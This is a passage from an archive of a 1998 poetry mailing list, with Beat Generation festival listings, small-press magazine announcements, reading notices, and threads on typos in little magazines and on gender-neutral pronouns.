Belgrad, associate professor at the University of South Florida and author of The Culture of Spontaneity.

First Sundays Gallery Talk
Sunday, November 1, 2:00 p.m., Bayly Art Museum
Fred W. and Gloria McDarrah will conduct a gallery tour of the exhibition.

Film Screenings and Performance Events

A Beat Generation Reunion
Saturday, October 31, 7:00 p.m., Culbreth Theatre
$15/$10 students
Live poetry and jazz with David Amram, Diane di Prima, and Ed Sanders, plus a special screening of Robert Frank and
Alfred Leslie's Pull My Daisy!

The Beat Cinema of Ken Jacobs
1) Jack Smith Filmed by Ken Jacobs: Saturday, October 31, 11:00am, Campbell Hall 158
2) Nervous System Performance: Two Wrenching Departures: Sunday, November 1, 1:00 p.m., Vinegar Hill Theatre,
$6/$5 advance ($7 during Festival)
On Saturday, see Ken Jacobs' classic underground films featuring the legendary performance artist Jack Smith, including
Blonde Cobra and Little Stabs at Happiness, and, on Sunday, his live performance on the two-projector "Nervous
System" a farewell to his late friends Jack Smith and Bob Fleischner.

Beat Cinema and Beyond (All screenings at Vinegar Hill Theatre) The Chelsea Girls (Andy Warhol): Thursday, Oct. 29, 7:00pm The Connection (Shirley Clarke) with producer Lewis Allen: Friday, Oct. 30, 4:00pm Fuses and Other Films with Carolee Schneemann and B. Ruby Rich: Friday, Oct. 30, 7:00pm Shadows (John Cassavetes) and The End (Christopher MacLaine): Saturday, Oct. 30, 7:00pm Me and My Brother (Robert Frank) with speaker Gordon Ball: Sunday, Nov. 1, 10:00am

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702. Susan Wheeler
Tony Lopez Reading in New York City
Sat 24 Oct 1998

Tony Lopez will be reading Monday, October 26, at 6:30 at The New School for Social Research, 66 West 12th Street, 5th floor. Free -- open to all.

The reading is highly recommended -- his work is extraordinary, as recent postings have attested. This is the last swing (New York) on a rare U.S. tour.

Susan Wheeler
[redacted]
voice/fax [redacted]

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703. Elizabeth Treadwell
Re: errata & small magazines
Sat 24 Oct 1998

I'm of course very careful with proofreading (& TYPING the work if I don't get a disk from a writer), but where do you propose I find someone I don't have to pay to proofread as well?

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

704. david bromige
tony lopez in nyc
Sat 24 Oct 1998

Let me second Susan Wheeler's recommendation of Tony Lopez' poetry. Charles Alexander has already posted us re the Tucson/POG reading of last week, and a welcome posting it was, intelligently opening the work to further questions and affirmations. I'd simply add, as my twobitsworth, that this is the poetry I'd been waiting for, a writing that is politicized throughout, but never denunciatory or haranguing, that integrates its many elements into a muscular rippling flow like a cross between Alph the sacred river and the Metropolitan Line. An intense intellectual pleasure (if "A Tear is an Intellectual Thing") to attend. At Sonoma State, the poet read to an audience of some 30-35, many of them students, and during the lengthy Q/A period after the reading, he showed both firmness and kindness in fielding questions that sometimes came awkwardly out of the confusion we are apt to feel when confronted with the new.

It gives me much pleasure to contemplate this fine poet being introduced by another--Susan Wheeler's _Smokes_ is among my favorite books of 98--and I urge anyone within reach to turn out for this one. David

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705. **david bromige**
Re : Carrying Cole to Colorado
Sat 24 Oct 1998

Since my friend Aldon Nielsen's header for this post is one of the more ingenious but also to some listmembers I would suppose, puzzling, I take it upon myself to explain (since its the weekend and Aldon may be away from his computer; and since I have been b-c'd with such a request) : Cole Swensen of U Denver shares Oct 22 as a birthday with both Aldon and myself. (You may recall Aldon's post is a meditation upon art, memory, Pinochet and Oct 22). David

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706. **Keith Tuma**
New poetry journal (fwd)
Sat 24 Oct 1998

Announcing a new poetry journal from Canada-- _The Gig_.

The Gig is devoted to new work from the U.S., Canada & the U.K., with an especial slant towards the latter. The first issue will be available in November, and features poetry by Deanna Ferguson, Alan Halsey, Lisa Jarnot, Trevor Joyce, Peter Riley, Maurice Scully, Pete Smith and John Wilkinson; plus Wilkinson on John Wieners and schizophrenia, and reviews by Pete Smith and myself.

Subscriptions: $6.00 (Canadian) for a single issue; $15.00 Cdn for a subscription (3 issues); $10 an issue for institutional copies. Post is included in the above prices for within Canada; for the U.S., add $0.50 Cdn for each issue; for the U.K., add $1.00 for each issue. All payments must be in Canadian currency. Cheques and money orders must be made out to "Nate Dorward".

Write to: Nate Dorward, 109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada. (Email: [redacted])

The Gig is also available from Peter Riley, at 27 Sturton St., Cambridge, CB1 2QG. (Fax: 01223 576422; email: [redacted]).

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707. P.Standard Schaefer
Re: errata & small magazines
Sat 24 Oct 1998

One way to do it is to cook dinner for about five of your most literate friends. Divide the manuscript into fifths, have everyone read through with red pen and pass their section on. Then don't drink too much wine because in the morning you have to go through and check your proofreaders proofreading.

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708. J. Kuszai
WANTED:server space for cat-themed press
Sat 24 Oct 1998

PLEASE BESOKIND AS TO HELP! Attempting to update my SuNy-Buf website dedicated to Meow PRess, I found that I had exceeded my allotted server space. The end of it all is that Meow Press must move again, this time to a new home in cyberspace.

Because I am wholly dissatisfied with Earthlink, and may abandon this ISP for a local outfit, I am wary of uploading Meow press there. Does anyone out there have any suggestions?

What about Geocities? Is Meow Press commercial, therefore ineligible, or does the fact that the printer is in my kitchen release me from the glandular gist of the corporate ghost?

I'd appreciate any experiences anyone can relate to me and any wisdom that can be offered.

Back-channelling is the challenge...

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709. WENDY KRAMER
inept my ass
Sat 24 Oct 1998

---

hey, kevin killian, it's wendy kramer. that book y'all wrote is beautiful. what a documentary! among other things. refreshing to read a bio that's so much made of interviews (inter-views hey!) i direct projectile lesbian vomit to that badmouthing reviewer, to add to your own curses and dry your tears.

and i agree, it _was_ worth the wait. i waited nigh four months for to get the new york public library "on order" "coming soon" copy waited and fretted and checked its status while other people read it and said how swell it was. well, it _was_ swell. and then i hadda hurry up and pass it on to the next person in the

reserves line (i kept it overdue) cuz it's one lonely copy in a system of round abouts 87 branches. *sigh* but glad the public library put it up for order in the first place. So, a note to ny public lie berry users, for those what cant buy, BORROW! cuz the more demand, the more reason to order more copies!

love and thanks kevin and lewis ellingham for your work,
dee

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710. **Susan Wheeler**
Re: re : errata & small magazines
Sat 24 Oct 1998

---

from David Bromige:

> *They dindont relish that*
> *the thames had clanged.*
> *How could do joustice*
> *to thir bindless?*
>
> *Not this werter,*
> *hwom never gridated collage.*
>
> *I always seek the lesson to be drawn. In such cases, maybe we need recall John Lennon's phrase, "Life is what happens while we are making a plan."*

And as long as John Lennon has come up, I must say both of these mangled poems you've posted have reminded me dead on the money of John Lennon's old volume <In His Own Write>. Was that a formative book for anyone else out there?

Wishing you clean type and ears --

Susan Wheeler
[redacted]
voice/fax [redacted]

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711. **Rachel Loden**
re : errata & small magazines
Sat 24 Oct 1998

Susan Wheeler wrote:

> *And as long as John Lennon has come up, I must say both of these mangled poems you've posted have reminded me dead on the money of John Lennon's old volume <In His Own Write>. Was that a formative book for anyone else out there?*

You might well arsk! About as formative as anything else in those days when we proceeded by the light of our faithful dog Cragesmure--

"Puffing and globbering they drugged theyselves rampling or dancing with wild abdomen, stubbing in wild postumes amongst themselves . . ."

Speaking of which, we have two votes for the existence of the Dom and one for the Balloon Farm, although no rhyme or reason for either.

But Alta Vista turned up a Velvets / Balloon Farm ad :

http://member.aol.com/olandem2/perf6566.html

"October 1966, Balloon Farm (The Dom), NYC
Exploding Plastic Inevitable"

So I guess confusion reigns supreme, holding her sceptre and orb,

Rachel

"It were a small village, Squirmly on the Slug, and vile ruperts spread fat and thick among the inhabidads what libed there . . ."

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712. Kathy Lou Schultz
LIPSTICK ELEVEN
Sat 24 Oct 1998

Because you're feeling pretty. Because you've dreamt of starring in Kevin Killian's next play. Because you're worth it. It's Lipstick Eleven, an annual multi-genre journal of experimental writing!

Announcing: Lipstick Eleven No. 1 featuring work by Carla HARRYMAN, Robert GLUCK, Jocelyn SAIDENBERG, Norma COLE, Truong TRAN, Kevin KILLIAN, Robin TREMBLAY-MCGAW, Kathy Lou SCHULTZ, Dodie BELLAMY, Catalina CARIAGA, Wayne SMITH, Brian STRANG, Mike AMNASAN, Rodrigo TOSCANO, Jim BRASHEAR, Roxane MARINI, and Camille ROY.

Lipstick Eleven is 8 1/2 by 11". Perfect bound. Offset printed. 110 pages. Featuring special celebrity cover.

Get yours now in a special for listafarians, direct from the editors, with postage and handling free--yes free.

Send $8.00 to:
Kathy Lou Schultz
42 Clayton Street
San Francisco, CA 94117-1110

We will be reading for Lipstick Eleven No. 2. until January 15, 1999. No e-mail submissions please. Send work (any genre) to the address above.

Editors for L11 No. 1 were Jim Brashear, Catalina Cariaga, Roxine Marini, and Kathy Lou Schultz. Editors for No. 2 are Jim Brashear, Kathy Lou Schultz, and Robin Tremblay-McGaw.

Pucker up!

↑ Index

713. **Mark Weiss**

Re: WANTED:server space for cat-themed press

Sat 24 Oct 1998

Why are you worrying about this tonight? Why aren't you fretting about your reading?

At 07:29 PM 10/24/98 -0500, you wrote:
>PLEASE BESOKIND AS TO HELP!
>Attempting to update my SuNy-Buf website dedicated to Meow PRess, I
>found that I had exceeded my allotted server space. The end of it all is
>that Meow Press must move again, this time to a new home in cyberspace.
>
>Because I am wholly dissatisfied with Earthlink, and may abandon this
>ISP for a local outfit, I am wary of uploading Meow press there. Does
>anyone out there have any suggestions?
>
>What about Geocities? Is Meow Press commercial, therefore ineligible,
>or does the fact that the printer is in my kitchen release me from the
>glandular gist of the corporate ghost?
>
>I'd appreciate any experiences anyone can relate to me and any wisdom
>that can be offered.
>
>Back-channelling is the challenge...
>
>

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714. **joel lewis**
Re: Spicer's Lorca
Sun 25 Oct 1998

The issue of Boundary devoted to Spicer (from mid/late 70's?) has an essay by Clayton Eshelman that seperates the translations, imitations & spicers own

joel lewis

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715. **david bromige**
Re : In His Own Write
Sun 25 Oct 1998

Let me take this up briefly, since Susan Wheeler identifies Lennon's book (& surely would include the other one, "A Spaniard in the Works") as likely instigation for my two little pieces of typo. I did look at both books when they appeared, but they didn't hold my interest. I think because I wanted them to be more Lennon songs? Approached in the context of nonsense writing, however--as I approached them today, grace of Susan's post, and Rachel Loden's--they are eminently readable. And my pieces do appear to stem from those books as source.

In truth, many years ago I proof-read a gothic novel for a severely dislectic author. It was hard slogging, and I kept myself going by copying down some of the more telling portmanteau constructions. A few of these, I organized into the units you have seen, supplying others of my own based on the original. As a reader of college essays, I may also have recalled some chestnuts from exams I read. What can open up from a distorted word or phrase provokes me today as it has all my life. I was only a child when I read about a local newspaper having to print a retraction because it had referred to "Colonel Jones, the battle-scared veteran," but came out with "Colonel Jones, the bottle-scarred veteran." The imp in language keeps returning the repressed.

In the gothic novel, set in the last century, the 4-y-o son of a single mom ("Unfortunate Woman") tiptoes to the toilet in the middle of the night, and on his way back looks through the half-open door of his mother's bedroom only to see her humping the vicar (often spelled "vigor"). The vicar notices the child staring at him & his partner, and cries out indignantly, "the boy must be severely wiped!"

David

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716. **Mark DuCharme**
Re: errata & small magazines
Sun 25 Oct 1998

I'm just now beginning to get _almost_ caught up on posts to the Poetics List after a period of having to ignore it while doing other things (i.e. writing grants for the Left Hand Reading Series)-- so excuse me if this has already been covered.

We had some posts on this subject about a month ago, as I recall. In any case, yes it's been my experience too to find typos in a certain amount of my work that's appeared in magazines. I recall once reading of Olson complaining about the same problem, so I don't think it's anything new. I don't think I need to point out that this is also a potential problem for textual scholars & critics, in addition to general readers &, of course, the poets themselves.

The moral is, for all you overworked/underfunded editors: SEND PROOFS & indicate a deadline for reply.

Mark DuCharme

dan featherston wrote:
>i just received the latest issue of _mike & dale's younger poets_ &
find
>that the title of the piece i'd submitted to them was mis-printed
>
>should be "aerial photograph of an elephant graveyard";
>is "aerial photograph of an elephant".
>
>over the past five years of contributing writing to smaller magazines,
i'd
>guess that roughly 1/3 of my work has had at least one typographical
error
>(from missing punctuation to misspellings, problems with layout, etc.).
>has this been anyone else's experience?
>
>i find it deplorable that so many small magazines are misprinting
works.
>where is the careful proof-reading? in order to cut costs and save
>time, fewer and fewer small magazines send proofs to writers. but the
real
>cost is publishing work as it was _not_ intended to be read. too many
small
>magazine editors seem to have an assembly line/drive-thru mentality
>regarding the product: just get another issue out, no matter the

quality
>and accuracy, no matter the process, without taking the time to carefully
>proof the work. what they end up publishing is _not_ what was
>submitted! once an editor tells me they're using my work, i assume
>that it will appear (given, of course, the physical constraints of
>the magazine) as i wrote it. is this too much to ask?
>
>poets are supposed to be attentive to language, but what good is it if
>the publishers of poetry are inattentive? what's the point of even
>publishing a text that's full of errors? if small magazine editors want
>their magazines to be taken seriously as bringing forward the news, then
>they need to get the facts straight and take more pride in their work: a
>magazine's reputation is built not only on content but form. editors need
>to keep in mind that they're the custodians between the writer and the
>reader-- a role requiring pride and careful work.
>
>it may come to this: poets who care about accuracy more than publication
>will no longer send work to magazines that do not provide proof or have a
>reputation for eagle-eye editing. and readers who care to read what was
>actually written will no longer subscribe to magazines that do a sloppy
>job of editing. errors are human, and errors in language can be both
>delightful and insightful, "wanderings" bearing the maker's handprint, the
>beautiful flaw. but an error in the very title of a poem strikes me as
>gross carelessness.
>
>in all fairness, there are many small magazine editors who, from my own
>experiences, take editing as an art form requiring skill and attention
>not unlike the skill and attention of composing a poem. jeff hansen's
>_poetic briefs_, juliana spahr and jena osman's _chain_, lee chapman's
>_first intensity_, and ed foster's _talisman_ come to mind. such accuracy
>should be the norm, not the exception. all it takes is care-- to care
>about the language, what you say and how you say it. is that too much to
>ask?

>
>dan featherston
>

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717. **Tom Orange**
errata & small magazines
Sun 25 Oct 1998

From: David Baratier <[redacted]> "Mike & Dale & Hoa went through the trouble to put together an issue; that proves merit, intent and dedication to the art. The act of someone writing something and sending it means nothing. It is a self serving act which anyone can do. Any mailbox can attest to that. Submitting means less than nothing if the author is not respecting the space they send work into. If the error is that big a deal, there is only one solution I know: start a magazine...."

writing and sending a contribution to a mag means nothing, but editing the mag "proves merit, intent and dedication"? i sense a cart being placed before the horse, as if all those mags out there wd still exist without the efforts of the contributors. isn't editing a mag in many ways as equally self-serving as writing a submission? and just as easy to do? (as the "one solution: start a magazine" injunction clearly suggests...)

yr regional devil's advocate,

t.
[redacted]

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718. **Mark Weiss**
Re: errata & small magazines
Sun 25 Oct 1998

I have a first edition third state of Dryden's Absalom and Achitophel. Third state means that after they printed a bunch they found some errors, corrected those and printed some more, found more errors, corrected those and moved on. It's not a new problem. The solution, as Mark of the Song says, is obvious.

At 09:18 AM 10/25/98 PST, you wrote:
>I'm just now beginning to get _almost_ caught up on posts to the Poetics
>List after a period of having to ignore it while doing other things

>(i.e. writing grants for the Left Hand Reading Series)-- so excuse me if
>this has already been covered.
>
>We had some posts on this subject about a month ago, as I recall. In
>any case, yes it's been my experience too to find typos in a certain
>amount of my work that's appeared in magazines. I recall once reading
>of Olson complaining about the same problem, so I don't think it's
>anything new. I don't think I need to point out that this is also a
>potential problem for textual scholars & critics, in addition to general
>readers &, of course, the poets themselves.
>
>The moral is, for all you overworked/underfunded editors: SEND PROOFS &
>indicate a deadline for reply.
>
>Mark DuCharme
>
>dan featherston wrote:
>>i just received the latest issue of _mike & dale's younger poets_ &
>find
>>that the title of the piece i'd submitted to them was mis-printed
>>
>>should be "aerial photograph of an elephant graveyard";
>>is "aerial photograph of an elephant".
>>
>>over the past five years of contributing writing to smaller magazines,
>i'd
>>guess that roughly 1/3 of my work has had at least one typographical
>error
>>(from missing punctuation to misspellings, problems with layout, etc.).
>>has this been anyone else's experience?
>>
>>i find it deplorable that so many small magazines are misprinting
>works.
>>where is the careful proof-reading? in order to cut costs and save
>>time, fewer and fewer small magazines send proofs to writers. but the
>real
>>cost is publishing work as it was _not_ intended to be read. too many
>small
>>magazine editors seem to have an assembly line/drive-thru mentality
>>regarding the product: just get another issue out, no matter the
>quality
>>and accuracy, no matter the process, without taking the time to

>carefully
>>proof the work. what they end up publishing is _not_ what was
>>submitted! once an editor tells me they're using my work, i assume
>>that it will appear (given, of course, the physical constraints of
>>the magazine) as i wrote it. is this too much to ask?
>>
>>poets are supposed to be attentive to language, but what good is it if
>>the publishers of poetry are inattentive? what's the point of even
>>publishing a text that's full of errors? if small magazine editors want
>>their magazines to be taken seriously as bringing forward the news,
>then
>>they need to get the facts straight and take more pride in their work:
>a
>>magazine's reputation is built not only on content but form. editors
>need
>>to keep in mind that they're the custodians between the writer and the
>>reader-- a role requiring pride and careful work.
>>
>>it may come to this: poets who care about accuracy more than
>publication
>>will no longer send work to magazines that do not provide proof or have
>a
>>reputation for eagle-eye editing. and readers who care to read what was
>>actually written will no longer subscribe to magazines that do a sloppy
>>job of editing. errors are human, and errors in language can be both
>>delightful and insightful, "wanderings" bearing the maker's handprint,
>the
>>beautiful flaw. but an error in the very title of a poem strikes me as
>>gross carelessness.
>>
>>in all fairness, there are many small magazine editors who, from my own
>>experiences, take editing as an art form requiring skill and attention
>>not unlike the skill and attention of composing a poem. jeff hansen's
>>_poetic briefs_, juliana spahr and jena osman's _chain_, lee chapman's
>>_first intensity_, and ed foster's _talisman_ come to mind. such
>accuracy
>>should be the norm, not the exception. all it takes is care-- to care
>>about the language, what you say and how you say it. is that too much
>to
>>ask?
>>
>>dan featherston

>>
>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com
>
>

↑ Index

719. **Mark Weiss**
Re: errata & small magazines
Sun 25 Oct 1998

If it were easy to do the injunction wouldn't be necessary--everyone would have done it. Editing a magazine or press is a related but separate art form. A great publication or a great poem is such a rare event that it would be hard to quantify or qualify the energy that goes into the production of same. No need to denigrate either venture. That said, care in proofing is the editor's first responsibility to his readers and contributors. Typos are distracting, and they often change the substance of the writing. Occasional flaws will get through, but the unrealizable goal should be perfection.

At 12:52 PM 10/25/98 -0500, you wrote:
>From: David Baratier <[redacted]>
>"Mike & Dale & Hoa went through the trouble to put
>together an issue; that proves merit, intent and dedication to the art.
>The act of someone writing something and sending it means nothing. It is
>a self serving act which anyone can do. Any mailbox can attest to that.
>Submitting means less than nothing if the author is not respecting the
>space they send work into. If the error is that big a deal, there is
>only one solution I know: start a magazine...."
>
>writing and sending a contribution to a mag means nothing, but editing the
>mag "proves merit, intent and dedication"? i sense a cart being placed
>before the horse, as if all those mags out there wd still exist without
>the efforts of the contributors. isn't editing a mag in many ways as
>equally self-serving as writing a submission? and just as easy to do?
>(as the "one solution: start a magazine" injunction clearly suggests...)
>
>yr regional devil's advocate,
>
>t.
>[redacted]

>
>

↑ Index

720. **P.Standard Schaefer**
Re: errata & small magazines
Sun 25 Oct 1998

In a message dated 98-10-25 12:52:24 EST, you write:

<< isn't editing a mag in many ways as
equally self-serving as writing a submission? and just as easy to do? >>

No. In many ways not. Sure, there are editors who get the odd favor. And writers who get whatever they want because of some snowballing effect from say winning a contest. But, the majority of editors that I've known don't get that many favors. Several of them on this list may be able to testify to that. To edit a magazine well, to raise the money to do it, takes a lot of time. Often at the expense of one's own writing. Of course, there are any numer of strategies to waste time and to speed up the process. If an editor solicits, that takes an enormous amount of time. If an editor just photocopies originals, that takes less. At any rate , it is not as simple as Tom Orange has stated.

↑ Index

721. **Bob Grumman**
Re: WF publications
Sun 25 Oct 1998

Good to hear that the big anthology's now out, Lawrence. Does us contributors get copies? If not, would you be interested in trading a copy or two for some Runaway Spoon Press books?

Let me know what the reaction to the book is.

All best, Bob

↑ Index

722. **Bob Grumman**
Apologies for the Standard Mistake
Sun 25 Oct 1998

You'd think someone who posts as little as I do to this group would not (again) post a private e.mail to it, but I have. Sorry. Looks like my error at least won't push the number of posts today over 50.

--Bob G.

↑ Index

723. Mark DuCharme
Re: errata & small magazines
Sun 25 Oct 1998

Leonard Brink wrote:

> *4. Poems whose strength derives from, or are overly reliant on things like font and type size should be self-published if at all.*

This seems a little restrictive. If we don't apply this standard to classics such as "Un Coup de Des," should we expect contemporary poets to be held to it? Certainly editors are free to publish or not publish any type of work they choose, but that's just the point-- some magazines (_Juxta_, for example) do publish a lot of work of this sort, & that's really one of the nice things about the independence of little magazines: it allows for a multiplicity of standards, & discourages the establishment of an overreaching "standard" (a little magazine stylebook?). Not that, I'm sure, you were intending to suggest such a thing, but I think your use of "should" does suggest that (too restrictive) interpretation.

Mark DuCharme

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

724. jesse glass
Re: The House that Jack Built
Sun 25 Oct 1998

Dear Kent--Is this the same Kent I used to drink coffee with at St. Michael's Waiting Room? If so, give me a holler at [redacted] I've been hearing some good stuff on all sides about your work. Jesse Glass
-----Original Message-----
From: KENT JOHNSON <[redacted]>
To: [redacted] <[redacted]>
Date: Friday, October 23, 1998 2:08 PM
Subject: The House that Jack Built

Dear Kevin and Dear Alan:

Thank you for offering to track down the Eshleman essay. In fact, about ten minutes after I sent the query, the college librarian called to tell me that Peter Gizzi's _The House that Jack Built_ had just arrived. Talk about spooks! The bibliography there has the citation for CE's article along with a number of other essays on After Lorca that I didn't know about. By the way, the bibliography

also mentions a wonderful pamphlet written a few years ago by Ed Foster, entitled simply _Jack Spicer_. It's the first citation I've seen of this furtive little gem (wondering why it wasn't listed in _Poet be Like God_?) and some of you may want to track it down. It's published by Boise State, of all places.

Spicer fan that I am, I've been reading Gizzi's book since yesterday, and it is fascinating. The transcripts of Spicer doing genius talk and doing so off the top of his head make one feel like the top of one's head is coming off. And Gizzi's long afterword is simply tour de force. A great book, and now all of a sudden we have two big magnificent books on Spicer. Hip Hip Hurrah for Wesleyan, even if they first accepted Yasusada and then rejected him.

Kent

↑ Index

725. **jesse glass**
Re: racism & antisemitism
Sun 25 Oct 1998

Greetings from Jesse Glass! Remember me? [redacted] tell me aht you're up to.

-----Original Message-----
From: Dean Taciuch <[redacted]>
To: [redacted] <[redacted]>
Date: Wednesday, October 21, 1998 8:05 AM
Subject: Re: racism & antisemitism

> *Hilton Obenzinger brought up the issue of how _Huck Finn_ is taught in High Schools, an issue which was brought to light for me last year when _Huck Finn_ was the University's "Text and Community" selection. "T and C" is an program here at George Mason in which a single work is chosen to be assigned in several different classes, along with presentations at various University venues dealing with the issues in the work. One of the questions I asked my classes about _Huck Finn_ was how the racial aspects were covered in their HS readings of the book (assuming that many had read it in HS). The response was surprising to me: the racial issues were ignored. Responses were generally along the lines of "we didn't talk about that" or even "we were told not to talk about that" (though I don't think anyone "told" them this outright. . .)*
>
> *Dean*

↑ Index

726. **jesse glass**
Re: racism & antisemitism
Sun 25 Oct 1998

Dean, good to see you on the list. Please tell me wht you're up to. Jesse Glass at: [redacted]

-----Original Message-----
From: Dean Taciuch <[redacted]>
To: [redacted] <[redacted]>
Date: Wednesday, October 21, 1998 8:05 AM
Subject: Re: racism & antisemitism

> *Hilton Obenzinger brought up the issue of how _Huck Finn_ is taught in High Schools, an issue which was brought to light for me last year when _Huck Finn_ was the University's "Text and Community" selection. "T and C" is an program here at George Mason in which a single work is chosen to be assigned in several different classes, along with presentations at various University venues dealing with the issues in the work. One of the questions I asked my classes about _Huck Finn_ was how the racial aspects were covered in their HS readings of the book (assuming that many had read it in HS). The response was surprising to me: the racial issues were ignored. Responses were generally along the lines of "we didn't talk about that" or even "we were told not to talk about that" (though I don't think anyone "told" them this outright. . .)*
>
> *Dean*

↑ Index

727. **Maria Damon**
Re: errata & small magazines
Sun 25 Oct 1998

At 10:50 AM -0800 10/25/98, Mark Weiss wrote:
>I have a first edition third state of Dryden's Absalom and Achitophel.

oh yeah? well i've got an old paperback copy of Marquis's Archi and Mehitabel. on anothe note, saw the David S. Ware quartet last night they were out of this world. very groovy, elsewhere music.

↑ Index

728. Marcella Durand
Notley at Poetry Project & other readings
Sun 25 Oct 1998

Just wanted to remind East Coasters that they too can see Alice Notley read this week:

Wednesday, October 28 at 8 pm
The Poetry Project at St. Mark's
reading with Kate Rushin

I believe Notley is reading at Brooklyn College on Monday, Oct. 26th too, don't remember what time, but it is during the day, perhaps 2 pm. (e-mail me at the [redacted] you want to know specifics; I left flyer there)

Monday, October 26th at 8 pm
Magdalena Zurawski & John McNally
at the Project

There will be a convoy from Bernadette Mayer's reading at No Moore (which begins at 6 pm) uptown to see Zurawski & McNally afterwards. Please come to see both! It is Mayer's last reading for the amazing "Devotional" series she has been doing for the entire month at No Moore (corner of No Moore St. and West Broadway). Last week she read for 3+ hours--it was incredible, unbelievable, transcendant, once-in-a-lifetime.

Other reading hi-lites this week: Bill Luoma & Tony Lopez at Poetry City, Teachers and Writers, 5 Union Sq. W, 7th floor.

And those are my crit picks for today.

Goo' Nite
M

↑ Index

729. jen hofer
speaking of taking care with language...
Mon 26 Oct 1998

Mark Weiss writes:
That said, care in proofing is the editor's first responsibility to HIS readers and contributors.

(highlight mine)

One wonders what century a person lives in (or what magazines she or he publishes in!) if all the editors are men.

Or perhaps it is that women editors (editrixes?) do not make errors?

May seem picky, but some "typos" have a lengthy history.

gender-neutral kisses from your local grammar queen,

jen hofer

↑ Index

730. Tom Orange
errata & small magazines
Mon 26 Oct 1998

In a message dated 98-10-25, standard writes: "To edit a magazine well, to raise the money to do it, takes a lot of time. Often at the expense of one's own writing. Of course, there are any numer of strategies to waste time and to speed up the process. If an editor solicits, that takes an enormous amount of time. If an editor just photocopies originals, that takes less. At any rate , it is not as simple as Tom Orange has stated."

wasn't stating that editing a mag is simple (hardly!), only that writing and submitting should not be denigrated while editing is upheld as something purely altrustic and thereby more noble. both writing and editing are forms of practice that involve conscious choice based on real and perceived gains and losses. e.g. editing may take time away from one's own writing with the tradeoff being the positioning of oneself as the gatherer/selector/promoter of other's writing.

musing,
t.
[redacted]

↑ Index

731. Leonard Brink
Re: errata & small magazines
Mon 26 Oct 1998

Tom Orange says in response to Standard S.:

>editing may take time away from
>one's own writing with the tradeoff being the positioning of oneself as
>the gatherer/selector/promoter of other's writing.
Okay, one's self in addition to the other selves who volunteer for the
job, but how is that
>equally self-serving as writing a submission? and just as easy to do
as you asserted in a previous message?
How is promoting others at ones own expense of time, money, energy, and

ones own work as "self-serving" as submitting poems to be published at someone else's expense of time, money, energy and work?

PS to Mark DuCharme: Just my opinion that poems whose strength lies in language, words, ideas and the like are more interesting than poems whose strength depends on fonts, etc. To each his/her own.

↑ Index

732. Mark Salerno
Forrest Gander, Stefanie Marlis, Tony Towle & Arshile
Mon 26 Oct 1998

For those of you in the Southern California Area:

Thursday Night, October 29:
Forrest Gander, Stefanie Marlis, Tony Towle reading at
Mount St. Mary's College
12001 Chalon Road
(in Brentwood, West of the 405, North of Sunset Blvd.)
Reading starts at 7:00 p.m. in the Jose Drudis-Biada Art Gallery.

I'd also like to remind everyone of our upcoming Arshile Tenth Issue Bash, as follows:

Friday Night, October 30:
Arshile Benefit Reading at Beyond Baroque
Beyond Baroque Literary Arts Center
681 Venice Blvd.
(in Venice, West of Lincoln Blvd.)
Reception starts at 5:00 p.m., reading starts at 7:00 p.m.

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733. Mark Weiss
Re: speaking of taking care with language...
Mon 26 Oct 1998

Sometimes I forget and write the English I was taught is proper, instead of "his or her," which is my usual compromise. Is there a pc way to do this in languages in which all nouns are gender-marked? No apologies.

At 11:30 PM 10/25/98 -0600, you wrote:
>Mark Weiss writes:
>That said, care in proofing is the editor's first responsibility to HIS
>readers and contributors.
>

>(highlight mine)
>
>One wonders what century a person lives in (or what magazines she or he
>publishes in!) if all the editors are men.
>
>Or perhaps it is that women editors (editrixes?) do not make errors?
>
>May seem picky, but some "typos" have a lengthy history.
>
>
>
>gender-neutral kisses from your local grammar queen,
>
>jen hofer
>
>

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734. Ralph Wessman
Re: errata & small magazines
Mon 26 Oct 1998

My view is that its a humbling experience to deal with the many brilliant and humane souls contributing to small presses, and that the experience far over-rides the much-lauded thanklessness of the editors task.

Best,

Ralph Wessman

↑ Index

735. Daniel Zimmerman
Re: speaking of taking care with language...
Mon 26 Oct 1998

If a writer wants to make himself or herself appear truly ridiculous, s/he ought to ensure the PC [pronominal correctness] his/her scrivenage, s/he need only mindlessly cleave to the hermaphroditic fallacy & fruitlessly multiple entities, contra Ockham. When possible, I use plurals; if not, I usually manage to fend off the harpies of PC & employ the masculine singular, unless the feminine makes more sense.

Why savage the tongue? PC usage makes the writer seem *primarily* concerned with avoiding the *appearance* of sexism, rather than with

communicating any particular ideas. It says "don't think; obey." It ignores, hegemonically, instance for principle, tree for forest. It also undercuts its own purpose because it provides a mantric smokescreen for sexists: just perform the magic chant & no one will ever know. Good intentions don't stiffen this rubber crutch.

Dan Zimmerman

Mark Weiss wrote:
>
> Sometimes I forget and write the English I was taught is proper, instead of
> "his or her," which is my usual compromise. Is there a pc way to do this in
> languages in which all nouns are gender-marked?
> No apologies.
>
> At 11:30 PM 10/25/98 -0600, you wrote:
> >Mark Weiss writes:
> >That said, care in proofing is the editor's first responsibility to HIS
> >readers and contributors.
> >
> >(highlight mine)
> >
> >One wonders what century a person lives in (or what magazines she or he
> >publishes in!) if all the editors are men.
> >
> >Or perhaps it is that women editors (editrixes?) do not make errors?
> >
> >May seem picky, but some "typos" have a lengthy history.
> >
> >
> >
> >gender-neutral kisses from your local grammar queen,
> >
> >jen hofer
> >
> >

↑ Index

736. **Henry Gould**
joy of pronouns
Mon 26 Oct 1998

When are people going to catch on? It started around Duluth Minnesota, but appears not to have spread to the coasts yet. When you're in a "hurry", just forget about "his & hers", or s/he, or h/er/m - use ELF!

Here's a simple example:

"The conscientious editor is a self-flagellating goody-goody who loves all gooey writing and does elf best to publish the best out there."

or:

"An editor must respect elf authors and do elf best to promote gooey writing through the known and uninhabited world."

or:

An editor strives to please elf public with the worst writing available through elf careful selection and elfly shepherding of elf young writers through the process of ritual slaughter by elf people."

Get it? Elf is catching on!

- Henry Gould, hermaphrodite squirrel

today's dog slogan: "elf, elf!"

↑ Index

737. **miekal and**
Re: reads
Mon 26 Oct 1998

---

shucks bill, no reads in the backwoods of wisconsin

↑ Index

738. **Mairead Byrne**
Re: speaking of taking care with language...
Mon 26 Oct 1998

I dunno. I always find it a little bit jarring when students refer to all authors as "he," even when the author in question is named Angela or Ann.

↑ Index

739. KENT JOHNSON
Spicer at MLA?
